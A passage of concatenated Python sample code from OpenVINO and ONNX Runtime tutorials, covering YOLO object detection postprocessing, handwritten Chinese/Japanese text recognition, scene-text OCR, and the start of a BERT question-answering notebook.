    dw = (input_size - resize_ratio * org_w) / 2
    dh = (input_size - resize_ratio * org_h) / 2

    pred_coor[:, 0::2] = 1.0 * (pred_coor[:, 0::2] - dw) / resize_ratio
    pred_coor[:, 1::2] = 1.0 * (pred_coor[:, 1::2] - dh) / resize_ratio

    # # (3) clip some boxes that are out of range
    pred_coor = np.concatenate([np.maximum(pred_coor[:, :2], [0, 0]),
                                np.minimum(pred_coor[:, 2:], [org_w - 1, org_h - 1])], axis=-1)
    invalid_mask = np.logical_or((pred_coor[:, 0] > pred_coor[:, 2]), (pred_coor[:, 1] > pred_coor[:, 3]))
    pred_coor[invalid_mask] = 0

    # # (4) discard some invalid boxes
    bboxes_scale = np.sqrt(np.multiply.reduce(pred_coor[:, 2:4] - pred_coor[:, 0:2], axis=-1))
    scale_mask = np.logical_and((valid_scale[0] < bboxes_scale), (bboxes_scale < valid_scale[1]))

    # # (5) discard some boxes with low scores
    classes = np.argmax(pred_prob, axis=-1)
    scores = pred_conf * pred_prob[np.arange(len(pred_coor)), classes]
    score_mask = scores > score_threshold
    mask = np.logical_and(scale_mask, score_mask)
    coors, scores, classes = pred_coor[mask], scores[mask], classes[mask]

    return np.concatenate([coors, scores[:, np.newaxis], classes[:, np.newaxis]], axis=-1)

def bboxes_iou(boxes1, boxes2):
    '''calculate the Intersection Over Union value'''
    boxes1 = np.array(boxes1)
    boxes2 = np.array(boxes2)

    boxes1_area = (boxes1[..., 2] - boxes1[..., 0]) * (boxes1[..., 3] - boxes1[..., 1])
    boxes2_area = (boxes2[..., 2] - boxes2[..., 0]) * (boxes2[..., 3] - boxes2[..., 1])

    left_up       = np.maximum(boxes1[..., :2], boxes2[..., :2])
    right_down    = np.minimum(boxes1[..., 2:], boxes2[..., 2:])

    inter_section = np.maximum(right_down - left_up, 0.0)
    inter_area    = inter_section[..., 0] * inter_section[..., 1]
    union_area    = boxes1_area + boxes2_area - inter_area
    ious          = np.maximum(1.0 * inter_area / union_area, np.finfo(np.float32).eps)

    return ious

def nms(bboxes, iou_threshold, sigma=0.3, method='nms'):
    """
    :param bboxes: (xmin, ymin, xmax, ymax, score, class)
    Note: soft-nms, https://arxiv.org/pdf/1704.04503.pdf
          https://github.com/bharatsingh430/soft-nms
    """
    classes_in_img = list(set(bboxes[:, 5]))
    best_bboxes = []

    for cls in classes_in_img:
        cls_mask = (bboxes[:, 5] == cls)
        cls_bboxes = bboxes[cls_mask]

        while len(cls_bboxes) > 0:
            max_ind = np.argmax(cls_bboxes[:, 4])
            best_bbox = cls_bboxes[max_ind]
            best_bboxes.append(best_bbox)
            cls_bboxes = np.concatenate([cls_bboxes[: max_ind], cls_bboxes[max_ind + 1:]])
            iou = bboxes_iou(best_bbox[np.newaxis, :4], cls_bboxes[:, :4])
            weight = np.ones((len(iou),), dtype=np.float32)

            assert method in ['nms', 'soft-nms']

            if method == 'nms':
                iou_mask = iou > iou_threshold
                weight[iou_mask] = 0.0

            if method == 'soft-nms':
                weight = np.exp(-(1.0 * iou ** 2 / sigma))

            cls_bboxes[:, 4] = cls_bboxes[:, 4] * weight
            score_mask = cls_bboxes[:, 4] > 0.
            cls_bboxes = cls_bboxes[score_mask]

    return best_bboxes

def read_class_names(class_file_name):
    '''loads class name from a file'''
    names = {}
    with open(class_file_name, 'r') as data:
        for ID, name in enumerate(data):
            names[ID] = name.strip('\n')
    return names

def draw_bbox(image, bboxes, classes=read_class_names("coco.names"), show_label=True):
    """
    bboxes: [x_min, y_min, x_max, y_max, probability, cls_id] format coordinates.
    """

    num_classes = len(classes)
    image_h, image_w, _ = image.shape
    hsv_tuples = [(1.0 * x / num_classes, 1., 1.) for x in range(num_classes)]
    colors = list(map(lambda x: colorsys.hsv_to_rgb(*x), hsv_tuples))
    colors = list(map(lambda x: (int(x[0] * 255), int(x[1] * 255), int(x[2] * 255)), colors))

    random.seed(0)
    random.shuffle(colors)
    random.seed(None)

    for i, bbox in enumerate(bboxes):
        coor = np.array(bbox[:4], dtype=np.int32)
        fontScale = 0.5
        score = bbox[4]
        class_ind = int(bbox[5])
        bbox_color = colors[class_ind]
        bbox_thick = int(0.6 * (image_h + image_w) / 600)
        c1, c2 = (coor[0], coor[1]), (coor[2], coor[3])
        cv2.rectangle(image, c1, c2, bbox_color, bbox_thick)

        if show_label:
            bbox_mess = '%s: %.2f' % (classes[class_ind], score)
            t_size = cv2.getTextSize(bbox_mess, 0, fontScale, thickness=bbox_thick//2)[0]
            cv2.rectangle(image, c1, (c1[0] + t_size[0], c1[1] - t_size[1] - 3), bbox_color, -1)
            cv2.putText(image, bbox_mess, (c1[0], c1[1]-2), cv2.FONT_HERSHEY_SIMPLEX,
                        fontScale, (0, 0, 0), bbox_thick//2, lineType=cv2.LINE_AA)

    return image

def get_anchors(anchors_path, tiny=False):
    '''loads the anchors from a file'''
    with open(anchors_path) as f:
        anchors = f.readline()
    anchors = np.array(anchors.split(','), dtype=np.float32)
    return anchors.reshape(3, 3, 2)

#Specify the path to anchors file on your machine
ANCHORS = "./yolov4_anchors.txt"    
STRIDES = [8, 16, 32]
XYSCALE = [1.2, 1.1, 1.05]
ANCHORS = get_anchors(ANCHORS)
STRIDES = np.array(STRIDES)

def parse_arguments():
    parser = argparse.ArgumentParser(description='Object Detection using YOLOv4 in OPENCV using OpenVINO Execution Provider for ONNXRuntime')
    parser.add_argument('--device', default='CPU_FP32', help="Device to perform inference on 'cpu (MLAS)' or on devices supported by OpenVINO-EP [CPU_FP32, GPU_FP32, GPU_FP16, MYRIAD_FP16, VAD-M_FP16].")
    parser.add_argument('--image', help='Path to image file.')
    parser.add_argument('--video', help='Path to video file.')
    parser.add_argument('--model', help='Path to model.')
    args = parser.parse_args()
    return args
    
def check_model_extension(fp):
  # Split the extension from the path and normalise it to lowercase.
  ext = os.path.splitext(fp)[-1].lower()

  # Now we can simply use != to check for inequality, no need for wildcards.
  if(ext != ".onnx"):
    raise Exception(fp, "is an unknown file format. Use the model ending with .onnx format")
  
  if not os.path.exists(fp):
    raise Exception("[ ERROR ] Path of the onnx model file is Invalid")

def main(): 

    # Process arguments
    args = parse_arguments()

    # Validate model file path
    check_model_extension(args.model)

    # Process inputs
    win_name = 'Object detection using ONNXRuntime OpenVINO Execution Provider using YoloV4 model'
    cv2.namedWindow(win_name, cv2.WINDOW_NORMAL)

    output_file = "yolo_out_py.avi"
    if (args.image):
        # Open the image file
        if not os.path.isfile(args.image):
            print("Input image file ", args.image, " doesn't exist")
            sys.exit(1)
        cap = cv2.VideoCapture(args.image)
        output_file = args.image[:-4]+'_yolo_out_py.jpg'
    elif (args.video):
        # Open the video file
        if not os.path.isfile(args.video):
            print("Input video file ", args.video, " doesn't exist")
            sys.exit(1)
        cap = cv2.VideoCapture(args.video)
        output_file = args.video[:-4]+'_yolo_out_py.avi'
    else:
        # Webcam input
        cap = cv2.VideoCapture(0)

    # Get the video writer initialized to save the output video
    if (not args.image):
        vid_writer = cv2.VideoWriter(output_file, cv2.VideoWriter_fourcc('M','J','P','G'), 30, (round(cap.get(cv2.CAP_PROP_FRAME_WIDTH)),round(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))))
    
    # Check the device information and create a session
    device = args.device
    so = rt.SessionOptions()
    so.log_severity_level = 3
    if(args.device == 'cpu'):
        print("Device type selected is 'cpu' which is the default CPU Execution Provider (MLAS)")
        #Specify the path to the ONNX model on your machine and register the CPU EP
        sess = rt.InferenceSession(args.model, so, providers=['CPUExecutionProvider'])
    else:
        #Specify the path to the ONNX model on your machine and register the OpenVINO EP
        sess = rt.InferenceSession(args.model, so, providers=['OpenVINOExecutionProvider'], provider_options=[{'device_type' : device}])
        print("Device type selected is: " + device + " using the OpenVINO Execution Provider")
        '''
        other 'device_type' options are: (Any hardware target can be assigned if you have the access to it)
        'CPU_FP32', 'GPU_FP32', 'GPU_FP16', 'MYRIAD_FP16', 'VAD-M_FP16'
        '''

    input_name = sess.get_inputs()[0].name
    
    while cv2.waitKey(1) < 0:
        # get frame from the video
        has_frame, frame = cap.read()
        # Stop the program if reached end of video
        if not has_frame:
            print("Done processing !!!")
            print("Output file is stored as ", output_file)
            has_frame=False
            cv2.waitKey(3000)
            # Release device
            cap.release()
            break
            
        input_size = 416
        original_image = frame
        original_image = cv2.cvtColor(original_image, cv2.COLOR_BGR2RGB)
        original_image_size = original_image.shape[:2]

        image_data = image_preprocess(np.copy(original_image), [input_size, input_size])
        image_data = image_data[np.newaxis, ...].astype(np.float32)
    
        outputs = sess.get_outputs()
        output_names = list(map(lambda output: output.name, outputs))

        start = time.time()
        detections = sess.run(output_names, {input_name: image_data})
        end = time.time()
        inference_time = end - start

        pred_bbox = postprocess_bbbox(detections)
        bboxes = postprocess_boxes(pred_bbox, original_image_size, input_size, 0.25)
        bboxes = nms(bboxes, 0.213, method='nms')
        image = draw_bbox(original_image, bboxes)

        cv2.putText(image,device,(10,20),cv2.FONT_HERSHEY_COMPLEX,0.5,(255,255,255),1)
        cv2.putText(image,'FPS: {}'.format(1.0/inference_time),(10,40),cv2.FONT_HERSHEY_COMPLEX,0.5,(255,255,255),1)

        # Write the frame with the detection boxes
        if (args.image):
            cv2.imwrite(output_file, image.astype(np.uint8))
        else:
            vid_writer.write(image.astype(np.uint8))
 
        image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)
        cv2.imshow(win_name, image)

if __name__ == "__main__":
  main()
# pip3 install openvino

# Install ONNX Runtime for OpenVINO™ Execution Provider
# pip3 install onnxruntime-openvino==1.11.0

# pip3 install -r requirements.txt
# How to run the sample
# python3 tiny_yolov2_obj_detection_sample.py --h

# Running the ONNXRuntime OpenVINO™ Execution Provider sample
# python3 tiny_yolov2_obj_detection_sample.py --video face-demographics-walking-and-pause.mp4 --model tinyyolov2.onnx --device CPU_FP32

'''
Copyright (C) 2021-2022, Intel Corporation
SPDX-License-Identifier: Apache-2.0
'''

import numpy as np
import onnxruntime as rt
import cv2
import time
import os
import argparse
import platform

if platform.system() == "Windows":
    from openvino import utils
    utils.add_openvino_libs_to_path()

# color look up table for different classes for object detection sample
clut = [(0,0,0),(255,0,0),(255,0,255),(0,0,255),(0,255,0),(0,255,128),
        (128,255,0),(128,128,0),(0,128,255),(128,0,128),
        (255,0,128),(128,0,255),(255,128,128),(128,255,128),(255,255,0),
        (255,128,128),(128,128,255),(255,128,128),(128,255,128),(128,255,128)]

# 20 labels that the tiny-yolov2 model can do the object_detection on
label = ["aeroplane","bicycle","bird","boat","bottle",
         "bus","car","cat","chair","cow","diningtable",
         "dog","horse","motorbike","person","pottedplant",
          "sheep","sofa","train","tvmonitor"]

def parse_arguments():
  parser = argparse.ArgumentParser(description='Object Detection using YOLOv2 in OPENCV using OpenVINO Execution Provider for ONNXRuntime')
  parser.add_argument('--device', default='CPU_FP32', help="Device to perform inference on 'cpu (MLAS)' or on devices supported by OpenVINO-EP [CPU_FP32, GPU_FP32, GPU_FP16, MYRIAD_FP16, VAD-M_FP16].")
  parser.add_argument('--video', help='Path to video file.')
  parser.add_argument('--model', help='Path to model.')
  args = parser.parse_args()
  return args

def sigmoid(x, derivative=False):
  return x*(1-x) if derivative else 1/(1+np.exp(-x))

def softmax(x):
  score_mat_exp = np.exp(np.asarray(x))
  return score_mat_exp / score_mat_exp.sum(0)

def check_model_extension(fp):
  # Split the extension from the path and normalise it to lowercase.
  ext = os.path.splitext(fp)[-1].lower()

  # Now we can simply use != to check for inequality, no need for wildcards.
  if(ext != ".onnx"):
    raise Exception(fp, "is an unknown file format. Use the model ending with .onnx format")
  
  if not os.path.exists(fp):
    raise Exception("[ ERROR ] Path of the onnx model file is Invalid")

def check_video_file_extension(fp):
  # Split the extension from the path and normalise it to lowercase.
  ext = os.path.splitext(fp)[-1].lower()
  # Now we can simply use != to check for inequality, no need for wildcards.
  
  if(ext == ".mp4" or ext == ".avi" or ext == ".mov"):
    pass
  else:
    raise Exception(fp, "is an unknown file format. Use the video file ending with .mp4 or .avi or .mov formats")
  
  if not os.path.exists(fp):
    raise Exception("[ ERROR ] Path of the video file is Invalid")

def image_preprocess(frame):
  in_frame = cv2.resize(frame, (416, 416))
  preprocessed_image = np.asarray(in_frame)
  preprocessed_image = preprocessed_image.astype(np.float32)
  preprocessed_image = preprocessed_image.transpose(2,0,1)
  #Reshaping the input array to align with the input shape of the model
  preprocessed_image = preprocessed_image.reshape(1,3,416,416)
  return preprocessed_image

def postprocess_output(out, frame, x_scale, y_scale, i):
  out = out[0][0]
  num_classes = 20
  anchors = [1.08, 1.19, 3.42, 4.41, 6.63, 11.38, 9.42, 5.11, 16.62, 10.52]
  existing_labels = {l: [] for l in label}

  #Inside this loop we compute the bounding box b for grid cell (cy, cx)
  for cy in range(0,13):
    for cx in range(0,13):
      for b in range(0,5):
      # First we read the tx, ty, width(tw), and height(th) for the bounding box from the out array, as well as the confidence score
        channel = b*(num_classes+5)
        tx = out[channel  ][cy][cx]
        ty = out[channel+1][cy][cx]
        tw = out[channel+2][cy][cx]
        th = out[channel+3][cy][cx]
        tc = out[channel+4][cy][cx]

        x = (float(cx) + sigmoid(tx))*32
        y = (float(cy) + sigmoid(ty))*32
        w = np.exp(tw) * 32 * anchors[2*b]
        h = np.exp(th) * 32 * anchors[2*b+1] 

        #calculating the confidence score
        confidence = sigmoid(tc) # The confidence value for the bounding box is given by tc
        classes = np.zeros(num_classes)
        for c in range(0,num_classes):
          classes[c] = out[channel + 5 +c][cy][cx]
          # we take the softmax to turn the array into a probability distribution. And then we pick the class with the largest score as the winner.
          classes = softmax(classes)
          detected_class = classes.argmax()
          # Now we can compute the final score for this bounding box and we only want to keep the ones whose combined score is over a certain threshold
          if 0.60 < classes[detected_class]*confidence:
            color =clut[detected_class]
            x = (x - w/2)*x_scale
            y = (y - h/2)*y_scale
            w *= x_scale
            h *= y_scale
               
            labelX = int((x+x+w)/2)
            labelY = int((y+y+h)/2)
            addLabel = True
            lab_threshold = 100
            for point in existing_labels[label[detected_class]]:
              if labelX < point[0] + lab_threshold and labelX > point[0] - lab_threshold and \
                 labelY < point[1] + lab_threshold and labelY > point[1] - lab_threshold:
                  addLabel = False
              #Adding class labels to the output of the frame and also drawing a rectangular bounding box around the object detected.
            if addLabel:
              cv2.rectangle(frame, (int(x),int(y)),(int(x+w),int(y+h)),color,2)
              cv2.rectangle(frame, (int(x),int(y-13)),(int(x)+9*len(label[detected_class]),int(y)),color,-1)
              cv2.putText(frame,label[detected_class],(int(x)+2,int(y)-3),cv2.FONT_HERSHEY_COMPLEX,0.4,(255,255,255),1)
              existing_labels[label[detected_class]].append((labelX,labelY))
            print('{} detected in frame {}'.format(label[detected_class],i))
  

def show_bbox(device, frame, inference_time):
  cv2.putText(frame,device,(10,20),cv2.FONT_HERSHEY_COMPLEX,0.5,(255,255,255),1)
  cv2.putText(frame,'FPS: {}'.format(1.0/inference_time),(10,40),cv2.FONT_HERSHEY_COMPLEX,0.5,(255,255,255),1)
  frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
  cv2.imshow('frame',frame)

def main():
  
  # Process arguments
  args = parse_arguments()

  # Validate model file path
  check_model_extension(args.model)
  so = rt.SessionOptions()
  so.log_severity_level = 3
  if (args.device == 'cpu'):
    print("Device type selected is 'cpu' which is the default CPU Execution Provider (MLAS)")
    #Specify the path to the ONNX model on your machine and register the CPU EP
    sess = rt.InferenceSession(args.model, so, providers=['CPUExecutionProvider'])
  elif (args.device == 'CPU_FP32' or args.device == 'GPU_FP32' or args.device == 'GPU_FP16' or args.device == 'MYRIAD_FP16' or args.device == 'VADM_FP16'):
    #Specify the path to the ONNX model on your machine and register the OpenVINO EP
    sess = rt.InferenceSession(args.model, so, providers=['OpenVINOExecutionProvider'], provider_options=[{'device_type' : args.device}])
    print("Device type selected is: " + args.device + " using the OpenVINO Execution Provider")
    '''
    other 'device_type' options are: (Any hardware target can be assigned if you have the access to it)
    'CPU_FP32', 'GPU_FP32', 'GPU_FP16', 'MYRIAD_FP16', 'VAD-M_FP16'
    '''
  else:
    raise Exception("Device type selected is not [cpu, CPU_FP32, GPU_FP32, GPU_FP16, MYRIAD_FP16, VADM_FP16]")

  # Get the input name of the model
  input_name = sess.get_inputs()[0].name

  #validate video file input path
  check_video_file_extension(args.video)

  #Path to video file has to be provided
  cap = cv2.VideoCapture(args.video)

  # capturing different metrics of the image from the video
  fps = cap.get(cv2.CAP_PROP_FPS)
  width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
  height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
  x_scale = float(width)/416.0  #In the document of tino-yolo-v2, input shape of this network is (1,3,416,416).
  y_scale = float(height)/416.0      
 
  # writing the inferencing output as a video to the local disk
  fourcc = cv2.VideoWriter_fourcc(*'XVID')
  output_video_name = args.device + "_output.avi"
  output_video = cv2.VideoWriter(output_video_name,fourcc, float(17.0), (640,360))

  # capturing one frame at a time from the video feed and performing the inference
  i = 0
  while cv2.waitKey(1) < 0:
    l_start = time.time()
    ret, frame = cap.read()
    if not ret:
      break
    initial_w = cap.get(3)
    initial_h = cap.get(4)
        
    # preprocessing the input frame and reshaping it.
    #In the document of tino-yolo-v2, input shape of this network is (1,3,416,416). so we resize the model frame w.r.t that size.
    preprocessed_image =  image_preprocess(frame)

    start = time.time()
    #Running the session by passing in the input data of the model
    out = sess.run(None, {input_name: preprocessed_image})
    end = time.time()
    inference_time = end - start

    #Get the output
    postprocess_output(out, frame, x_scale, y_scale, i)
   
    #Show the Output
    output_video.write(frame)
    show_bbox(args.device, frame, inference_time)
        
    #Press 'q' to quit the process
    print('Processed Frame {}'.format(i))
    i += 1
    l_end = time.time()
    print('Loop Time = {}'.format(l_end - l_start))

  output_video.release()
  cv2.destroyAllWindows()

if __name__ == "__main__":
  main()
# Imports
from collections import namedtuple
from itertools import groupby
from pathlib import Path

import cv2
import matplotlib.pyplot as plt
import numpy as np
from openvino.runtime import Core

# Settings
# Directories where data will be placed
model_folder = "model"
data_folder = "data"
charlist_folder = f"{data_folder}/charlists"

# Precision used by model
precision = "FP16"

Language = namedtuple(
    typename="Language", field_names=["model_name", "charlist_name", "demo_image_name"]
)
chinese_files = Language(
    model_name="handwritten-simplified-chinese-recognition-0001",
    charlist_name="chinese_charlist.txt",
    demo_image_name="handwritten_chinese_test.jpg",
)
japanese_files = Language(
    model_name="handwritten-japanese-recognition-0001",
    charlist_name="japanese_charlist.txt",
    demo_image_name="handwritten_japanese_test.png",
)

# Select Language
# Select language by using either language='chinese' or language='japanese'
language = "chinese"

languages = {"chinese": chinese_files, "japanese": japanese_files}

selected_language = languages.get(language)

# Download Model
path_to_model_weights = Path(f'{model_folder}/intel/{selected_language.model_name}/{precision}/{selected_language.model_name}.bin')
if not path_to_model_weights.is_file():
    download_command = f'omz_downloader --name {selected_language.model_name} --output_dir {model_folder} --precision {precision}'
    print(download_command)
    ! $download_command

# Load Network and Execute
ie = Core()
path_to_model = path_to_model_weights.with_suffix(".xml")
model = ie.read_model(model=path_to_model)

# Select Device Name
# To check available device names run the line below
# print(ie.available_devices)

compiled_model = ie.compile_model(model=model, device_name="CPU")

# Fetch Information About Input and Output Layers
recognition_output_layer = compiled_model.output(0)
recognition_input_layer = compiled_model.input(0)

# Load an Image
# Read file name of demo file based on the selected model

file_name = selected_language.demo_image_name

# Text detection models expects an image in grayscale format
# IMPORTANT!!! This model allows to read only one line at time

# Read image
image = cv2.imread(filename=f"{data_folder}/{file_name}", flags=cv2.IMREAD_GRAYSCALE)

# Fetch shape
image_height, _ = image.shape

# B,C,H,W = batch size, number of channels, height, width
_, _, H, W = recognition_input_layer.shape

# Calculate scale ratio between input shape height and image height to resize image
scale_ratio = H / image_height

# Resize image to expected input sizes
resized_image = cv2.resize(
    image, None, fx=scale_ratio, fy=scale_ratio, interpolation=cv2.INTER_AREA
)

# Pad image to match input size, without changing aspect ratio
resized_image = np.pad(
    resized_image, ((0, 0), (0, W - resized_image.shape[1])), mode="edge"
)

# Reshape to network the input shape
input_image = resized_image[None, None, :, :]

# Visualise Input Image
plt.figure(figsize=(20, 1))
plt.axis("off")
plt.imshow(resized_image, cmap="gray", vmin=0, vmax=255);

# Prepare Charlist
# Get dictionary to encode output, based on model documentation
used_charlist = selected_language.charlist_name

# With both models, there should be blank symbol added at index 0 of each charlist
blank_char = "~"

with open(f"{charlist_folder}/{used_charlist}", "r", encoding="utf-8") as charlist:
    letters = blank_char + "".join(line.strip() for line in charlist)

# Run Inference
# Run inference on the model
predictions = compiled_model([input_image])[recognition_output_layer]

# Process Output Data
# Remove batch dimension
predictions = np.squeeze(predictions)

# Run argmax to pick the symbols with the highest probability
predictions_indexes = np.argmax(predictions, axis=1)

# Use groupby to remove concurrent letters, as required by CTC greedy decoding
output_text_indexes = list(groupby(predictions_indexes))

# Remove grouper objects
output_text_indexes, _ = np.transpose(output_text_indexes, (1, 0))

# Remove blank symbols
output_text_indexes = output_text_indexes[output_text_indexes != 0]

# Assign letters to indexes from output array
output_text = [letters[letter_index] for letter_index in output_text_indexes]

# Print Output
plt.figure(figsize=(20, 1))
plt.axis("off")
plt.imshow(resized_image, cmap="gray", vmin=0, vmax=255)

print("".join(output_text))
# Imports
import shutil
import sys
from pathlib import Path

import cv2
import matplotlib.pyplot as plt
import numpy as np
from IPython.display import Markdown, display
from PIL import Image
from openvino.runtime import Core
from yaspin import yaspin

sys.path.append("../utils")
from notebook_utils import load_image

# Settings
ie = Core()

model_dir = Path("model")
precision = "FP16"
detection_model = "horizontal-text-detection-0001"
recognition_model = "text-recognition-resnet-fc"
base_model_dir = Path("~/open_model_zoo_models").expanduser()
omz_cache_dir = Path("~/open_model_zoo_cache").expanduser()

model_dir.mkdir(exist_ok=True)

# Download Models
download_command = f"omz_downloader --name {detection_model},{recognition_model} --output_dir {base_model_dir} --cache_dir {omz_cache_dir} --precision {precision}"
display(Markdown(f"Download command: `{download_command}`"))
with yaspin(text=f"Downloading {detection_model}, {recognition_model}") as sp:
    download_result = !$download_command
    print(download_result)
    sp.text = f"Finished downloading {detection_model}, {recognition_model}"
    sp.ok("✔")

# Convert Models
convert_command = f"omz_converter --name {recognition_model} --precisions {precision} --download_dir {base_model_dir} --output_dir {base_model_dir}"
display(Markdown(f"Convert command: `{convert_command}`"))
display(Markdown(f"Converting {recognition_model}..."))
! $convert_command

# Copy Models
models_info_output = %sx omz_info_dumper --name $detection_model,$recognition_model
print(f'sx omz_info_dumper --name {detection_model},{recognition_model}')
detection_model_info, recognition_model_info = [
    {
        "name": "horizontal-text-detection-0001",
        "composite_model_name": None,
        "description": "Horizontal text detector based on FCOS with light MobileNetV2 backbone",
        "framework": "dldt",
        "license_url": "https://raw.githubusercontent.com/openvinotoolkit/open_model_zoo/master/LICENSE",
        "precisions": [
            "FP16",
            "FP16-INT8",
            "FP32"
        ],
        "quantization_output_precisions": [],
        "subdirectory": "intel/horizontal-text-detection-0001",
        "task_type": "detection"
    },
    {
        "name": "text-recognition-resnet-fc",
        "composite_model_name": None,
        "description": "\"text-recognition-resnet-fc\" is a simple and preformant scene text recognition model based on ResNet with Fully Connected text recognition head. Source implementation on a PyTorch* framework could be found here <https://github.com/Media-Smart/vedastr>. Model is able to recognize alphanumeric text.",
        "framework": "pytorch",
        "license_url": "https://raw.githubusercontent.com/Media-Smart/vedastr/0fd2a0bd7819ae4daa2a161501e9f1c2ac67e96a/LICENSE",
        "precisions": [
            "FP16",
            "FP32"
        ],
        "quantization_output_precisions": [],
        "subdirectory": "public/text-recognition-resnet-fc",
        "task_type": "optical_character_recognition"
    }
]

for model_info in (detection_model_info, recognition_model_info):
    omz_dir = Path(model_info["subdirectory"])
    omz_model_dir = base_model_dir / omz_dir / precision
    print(omz_model_dir) 
    for model_file in omz_model_dir.iterdir():
        try:
            shutil.copyfile(model_file, model_dir / model_file.name)
        except FileExistsError:
            pass

detection_model_path = (model_dir / detection_model).with_suffix(".xml")
recognition_model_path = (model_dir / recognition_model).with_suffix(".xml")

# Load Detection Model
detection_model = ie.read_model(
    model=detection_model_path, weights=detection_model_path.with_suffix(".bin")
)
detection_compiled_model = ie.compile_model(model=detection_model, device_name="CPU")

detection_input_layer = detection_compiled_model.input(0)

# Load an Image
# image_file can point to a URL or local image
image_file = "https://github.com/openvinotoolkit/openvino_notebooks/raw/main/notebooks/004-hello-detection/data/intel_rnb.jpg"

image = load_image(image_file)

# N,C,H,W = batch size, number of channels, height, width
N, C, H, W = detection_input_layer.shape

# Resize image to meet network expected input sizes
resized_image = cv2.resize(image, (W, H))

# Reshape to network input shape
input_image = np.expand_dims(resized_image.transpose(2, 0, 1), 0)

plt.imshow(cv2.cvtColor(image, cv2.COLOR_BGR2RGB));

# Do Inference
output_key = detection_compiled_model.output("boxes")
boxes = detection_compiled_model([input_image])[output_key]

# Remove zero only boxes
boxes = boxes[~np.all(boxes == 0, axis=1)]

# Get Detection Results
def multiply_by_ratio(ratio_x, ratio_y, box):
    return [
        max(shape * ratio_y, 10) if idx % 2 else shape * ratio_x
        for idx, shape in enumerate(box[:-1])
    ]


def run_preprocesing_on_crop(crop, net_shape):
    temp_img = cv2.resize(crop, net_shape)
    temp_img = temp_img.reshape((1,) * 2 + temp_img.shape)
    return temp_img


def convert_result_to_image(bgr_image, resized_image, boxes, threshold=0.3, conf_labels=True):
    # Define colors for boxes and descriptions
    colors = {"red": (255, 0, 0), "green": (0, 255, 0), "white": (255, 255, 255)}

    # Fetch image shapes to calculate ratio
    (real_y, real_x), (resized_y, resized_x) = image.shape[:2], resized_image.shape[:2]
    ratio_x, ratio_y = real_x / resized_x, real_y / resized_y

    # Convert base image from bgr to rgb format
    rgb_image = cv2.cvtColor(bgr_image, cv2.COLOR_BGR2RGB)

    # Iterate through non-zero boxes
    for box, annotation in boxes:
        # Pick confidence factor from last place in array
        conf = box[-1]
        if conf > threshold:
            # Convert float to int and multiply position of each box by x and y ratio
            (x_min, y_min, x_max, y_max) = map(int, multiply_by_ratio(ratio_x, ratio_y, box))

            # Draw box based on position, parameters in rectangle function are: image, start_point, end_point, color, thickness
            cv2.rectangle(rgb_image, (x_min, y_min), (x_max, y_max), colors["green"], 3)

            # Add text to image based on position and confidence, parameters in putText function are: image, text, bottomleft_corner_textfield, font, font_scale, color, thickness, line_type
            if conf_labels:
                # Create background box based on annotation length
                (text_w, text_h), _ = cv2.getTextSize(
                    f"{annotation}", cv2.FONT_HERSHEY_TRIPLEX, 0.8, 1
                )
                image_copy = rgb_image.copy()
                cv2.rectangle(
                    image_copy,
                    (x_min, y_min - text_h - 10),
                    (x_min + text_w, y_min - 10),
                    colors["white"],
                    -1,
                )
                # Add weighted image copy with white boxes under text
                cv2.addWeighted(image_copy, 0.4, rgb_image, 0.6, 0, rgb_image)
                cv2.putText(
                    rgb_image,
                    f"{annotation}",
                    (x_min, y_min - 10),
                    cv2.FONT_HERSHEY_SIMPLEX,
                    0.8,
                    colors["red"],
                    1,
                    cv2.LINE_AA,
                )

    return rgb_image

# Load Text Recognition Model
recognition_model = ie.read_model(
    model=recognition_model_path, weights=recognition_model_path.with_suffix(".bin")
)

recognition_compiled_model = ie.compile_model(model=recognition_model, device_name="CPU")

recognition_output_layer = recognition_compiled_model.output(0)
recognition_input_layer = recognition_compiled_model.input(0)

# Get height and width of input layer
_, _, H, W = recognition_input_layer.shape

# Do Inference
# Calculate scale for image resizing
(real_y, real_x), (resized_y, resized_x) = image.shape[:2], resized_image.shape[:2]
ratio_x, ratio_y = real_x / resized_x, real_y / resized_y

# Convert image to grayscale for text recognition model
grayscale_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

# Get dictionary to encode output, based on model documentation
letters = "~0123456789abcdefghijklmnopqrstuvwxyz"

# Prepare empty list for annotations
annotations = list()
cropped_images = list()
# fig, ax = plt.subplots(len(boxes), 1, figsize=(5,15), sharex=True, sharey=True)
# For each crop, based on boxes given by detection model we want to get annotations
for i, crop in enumerate(boxes):
    # Get coordinates on corners of crop
    (x_min, y_min, x_max, y_max) = map(int, multiply_by_ratio(ratio_x, ratio_y, crop))
    image_crop = run_preprocesing_on_crop(grayscale_image[y_min:y_max, x_min:x_max], (W, H))

    # Run inference with recognition model
    result = recognition_compiled_model([image_crop])[recognition_output_layer]

    # Squeeze output to remove unnececery dimension
    recognition_results_test = np.squeeze(result)

    # Read annotation based on probabilities from output layer
    annotation = list()
    for letter in recognition_results_test:
        parsed_letter = letters[letter.argmax()]

        # Returning 0 index from argmax signalises end of string
        if parsed_letter == letters[0]:
            break
        annotation.append(parsed_letter)
    annotations.append("".join(annotation))
    cropped_image = Image.fromarray(image[y_min:y_max, x_min:x_max])
    cropped_images.append(cropped_image)

boxes_with_annotations = list(zip(boxes, annotations))

# Show Detected Text Boxes and OCR Results for the Image
plt.figure(figsize=(12, 12))
plt.imshow(convert_result_to_image(image, resized_image, boxes_with_annotations, conf_labels=True));

# Show the OCR Result per Bounding Box
for cropped_image, annotation in zip(cropped_images, annotations):
    display(cropped_image, Markdown("".join(annotation)))

# Print Annotations in Plain Text Format
[
    annotation
    for _, annotation in sorted(zip(boxes, annotations), key=lambda x: x[0][0] ** 2 + x[0][1] ** 2)
]
# Imports
import operator
import time
from urllib import parse

import numpy as np
from openvino.runtime import Core

import html_reader as reader
import tokens_bert as tokens

# Download the model
# directory where model will be downloaded
base_model_dir = "model"

# desired precision
precision = "FP16-INT8"

# model name as named in Open Model Zoo
model_name = "bert-small-uncased-whole-word-masking-squad-int8-0002"

model_path = f"model/intel/{model_name}/{precision}/{model_name}.xml"
model_weights_path = f"model/intel/{model_name}/{precision}/{model_name}.bin"

download_command = f"omz_downloader " \
                   f"--name {model_name} " \
                   f"--precision {precision} " \
                   f"--output_dir {base_model_dir} " \
                   f"--cache_dir {base_model_dir}"
! $download_command

